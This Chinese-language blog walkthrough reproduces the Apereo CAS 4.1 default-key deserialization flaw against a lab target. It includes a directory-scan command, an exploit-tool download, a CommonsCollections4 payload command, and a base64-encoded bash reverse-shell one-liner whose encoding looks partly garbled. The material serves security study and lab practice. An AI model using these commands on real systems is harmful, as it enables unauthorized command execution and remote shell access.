栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

apereo-cas 4.1 反序列化命令执行漏洞 复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

apereo-cas 4.1 反序列化命令执行漏洞 复现

所有文章,仅供安全研究与学习之用,后果自负!

apereo-cas 命令执行 4.1
  • apereo-cas 命令执行 4.1
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞复现
      • 漏洞检测
      • 漏洞利用
    • 0x04 漏洞修复

apereo-cas 命令执行 4.1 0x01 漏洞描述

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

0x02 影响范围
 Apereo CAS <= 4.1.7

/css/login
0x03 漏洞复现

(1)访问vulhub 在线靶场


目录扫描

python3 dirsearch.py  -e "*" -x 400,500 -t 100 -r 10 -u http://vulfocus.fofa.so:20866/

(2) 漏洞存在地址

/css/login

http://vulfocus.fofa.so:9288/cas/login

漏洞检测

漏洞利用参数 登录处 抓包 可看到

execution 

漏洞利用

工具 apereo-cas-attack-1.0-SNAPSHOT-all.jar

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

利用方法
要执行的命令 在后边输入 反弹shell需要编码
可以先dnslog检测

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/test"

反弹shell

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGVMjkuNjcuNC85ODk3IDA+JjE=}|{base64,-d}|{bash,-i}"

复制生成的payload 到burp 中 execution参数中


反弹shell成功

0x04 漏洞修复

升级到最新版本

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/581868.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号